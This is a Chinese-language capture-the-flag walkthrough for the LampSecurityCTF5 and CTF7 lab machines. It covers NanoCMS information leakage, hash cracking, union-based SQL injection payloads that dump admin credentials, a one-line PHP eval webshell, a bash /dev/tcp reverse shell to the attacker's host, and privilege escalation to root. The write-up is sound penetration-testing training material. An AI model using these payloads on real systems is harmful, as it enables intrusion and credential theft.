LampSecurityCTF 5+7 - CTF
LampSecurityCTF 5+7 - CTF
LampSecurityCTF5 - CTF
靶机下载: 镜像
基本信息收集
主机发现

端口扫描







80 端口爆了比较多的信息;
网页访问
打开是一个论坛系统: Phake Organization;

目录爆破
简单的爆破一下:

根据结果能发现 php 信息:

另外, 在首页能找到 Andy 这个用户的 blog, 通过 webmail 一路找进来能找到一个管理员登录界面:

注意这里有写 “NanoCMS Admin Login”
Nano 漏洞利用
既然知道了 CMS , 着手在 google 和 Metasploit 里收集一下 nday:



NanoCMS 未对已认证用户创建网页时的数据进行过滤
页面默认保存为.php后缀,使得通过认证的攻击者能够访问底层系统;
这个利用需要一个能登陆的已经通过认证的 CMS 账户, 不过尝试注册的话, 注册之后貌似不会默认分配密码, 需要用邮箱去重置密码, 先看看能不能获取已知账户的密码, 例如这个 Andy:
信息泄露
接着找找这个 “nano cms” 的漏洞, 发现还存在一个信息泄露漏洞:

从几个不同的路径尝试后, 发现在 http://192.168.170.153/~andy/data/pagesdata.txt 存在信息泄露:

把这个结果拿去 Crackstation 碰撞, 结果是: shannon:

尝试 admin:shannon 的组合, 直接登录了:

远程代码执行
发现漏洞
试试用当前账户创建一个新页面 test:

竟然是以 .php 的格式进行创建的, 那就有非常大的攻击面了。
发送反弹 shell
接下来直接尝试发送反弹 shell, 测试有没有过滤或者屏蔽:
1 |
|


同时在 kali 上监听 4444 端口:

收到了反弹 shell! 接下来只需要想办法提权即可。
Linux 提权
getshell
首先获取完整 shell, 试试环境里有没有 python:
1 | which python |

收集信息
接下来粗略枚举一下, 收集信息:


1 | grep -rni /home -e 'pass' 2>/dev/null |
-r: 递归搜索;-n: 显示匹配行号;-i: 忽略大小写;-e: 包含字符串;2>/dev/null: 忽略报错;
再试试搜索可能有的备份密码文件:

备份信息泄露
找到一个很可疑的文件, 读一下:

试试这个密码:

直接登录成功! 完成了提权。后面找了半天没找到 flag, 看了下靶机附带的 pdf, 原来是没有 flag 文件, 那么到这里渗透就结束了, 总体来说比较简单, 主要漏洞集中在信息泄露上。
LampSecurityCTF7 - CTF
靶机下载: 镜像
基本信息收集
主机发现

端口扫描






网页访问
打开是一个 PHP 网站:

目录爆破

/phpinfo 存在信息泄露:

SQL 注入
在 Profile 页面中存在注入, 首先是:

此处为双引号闭合, 且错误时会直接抛出完整 SQL 语句。
进一步, 根据这个报错内容能发现, 查询参数 id 为数字型, 并且为 GET 传参, 请求直接在 URL 里, 此处为 update 语句, 那么猜想直接访问该网页则为 select 语句, 马上尝试:


确定此处存在数字型注入;
- 首先用
order by确定查询返回列数为 7:
1 | /profile&id=115 order by 7 |
- 接下来用
union select和一个不存在的 id 爆出库名:
1 | /profile&id=-1 union select database(),2,3,4,5,6,7 |

爆出库名: website
- 爆出表名
1 | /profile&id=-1 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema = 'website' |

结果为 contact,documents,hits,log,newsletter,payment,trainings,trainings_x_users,users;
- 爆出字段名:
1 | /profile&id=-1 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema = 'website' |

结果为: username,password,is_admin,last_login,user_id,realname,profile
- 根据结果爆出管理员账户密码:
1 | /profile&id=-1 union select 1,2,3,4,5,group_concat(username),group_concat(password) from users where is_admin=1 |
结果为
1 | brian@localhost.localdomain, |
哈希碰撞一下:

爆出了 4 个管理账户
端口登录
试试其他端口:
901 端口
用 brian@localhost.localdomain:my2cents 即可登录;

8080 端口
之前扫出来 8080 端口也是 apache tomcat 服务, 访问是一个后台登录界面:

同样用 brian@localhost.localdomain:my2cents 即可登录:
登录后是后台管理界面, 这里可以编辑网站上的所有文章, 注意这里有三类文章, 其中一种可以上传文件:

这里非常有可能上传一个 webshell;
10000 端口
同样是一个后台登录界面, 不过之前的密码用不上, 尝试过多还会封 ip;
上传 webshell
一句话木马
传一个一句话木马到服务器上:
1 | @eval($_POST['shell']); |
刚刚 gobuster 扫出的目录里有 /assets 这个目录, 很可能就在这个路径下, 尝试访问:

果然已经上传成功。
连接 webshell
用蚁剑连上 shell:


执行其他命令的时候遇到一点问题, 如 python -c 'import pty;pty.spawn("bin/bash")', 返回报错:
1 | File "<string>", line 1 |
看起来是因为 " 被屏蔽了, 这里尝试了很久也没能突破, 先作罢, 试试不用 webshell 而是直接传反弹 shell 到 kali 上:
1 | exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.170.145/4444 0>&1'"); |

之后寻找上下文关联文件, 找到 db.php:

那么可以直接用 shell 登录 mysql:
登录 mysql 服务
1 | mysql -u root |
虽然登录了 mysql 服务, 但是其实之前的库已经在 sql 注入的时候被全部拖出来了, 直接把 hash 碰撞完成就可以得到一大堆账号和密码, 去之前那个碰撞的网站多碰撞几次可以增加破解概率:
后来看了下 WP, 这里是不用 sql 注入拖库, 而是通过万能密码直接绕过验证, 然后 RCE 读取数据库文件后, 通过 mysql 服务读取账密的方法, 算另一种解法
| 账号(邮箱) | 密码 | 是否为admin |
|---|---|---|
| brian | my2cents | True |
| john | transformersrule | True |
| alice | turtles77 | True |
| ruby | ? | True |
| leon | qwer1234 | True |
| julia | madrid | True |
ssh 登录
把已知的所有秘钥排列组合尝试登录 ssh:
根据回显重新组织一下指令:
1 | sudo ssh brian@192.168.170.154 -oHostKeyAlgorithms=ssh-rsa -p 22 |
输入 my2cents 登录:

sudo -l 发现能直接以 root 身份启动 bash:

靶机的难度不算大, 但是攻击链还是比较完整的。这次主要踩的坑是, 反弹 shell 渗透优先级应当大于 webshell。



























































